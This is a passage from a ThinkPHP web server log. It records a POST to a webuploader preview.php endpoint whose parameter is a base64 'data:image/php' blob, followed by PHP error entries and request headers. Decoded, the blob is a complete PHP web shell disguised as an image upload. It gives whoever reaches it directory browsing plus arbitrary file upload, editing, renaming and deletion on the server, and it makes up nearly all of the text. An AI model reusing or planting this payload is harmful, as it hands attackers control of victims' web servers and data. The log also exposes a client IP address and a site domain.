'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:30+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/style/admin/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002520s] [吞吐率:396.81req/s] [内存消耗:196.89kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'style', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 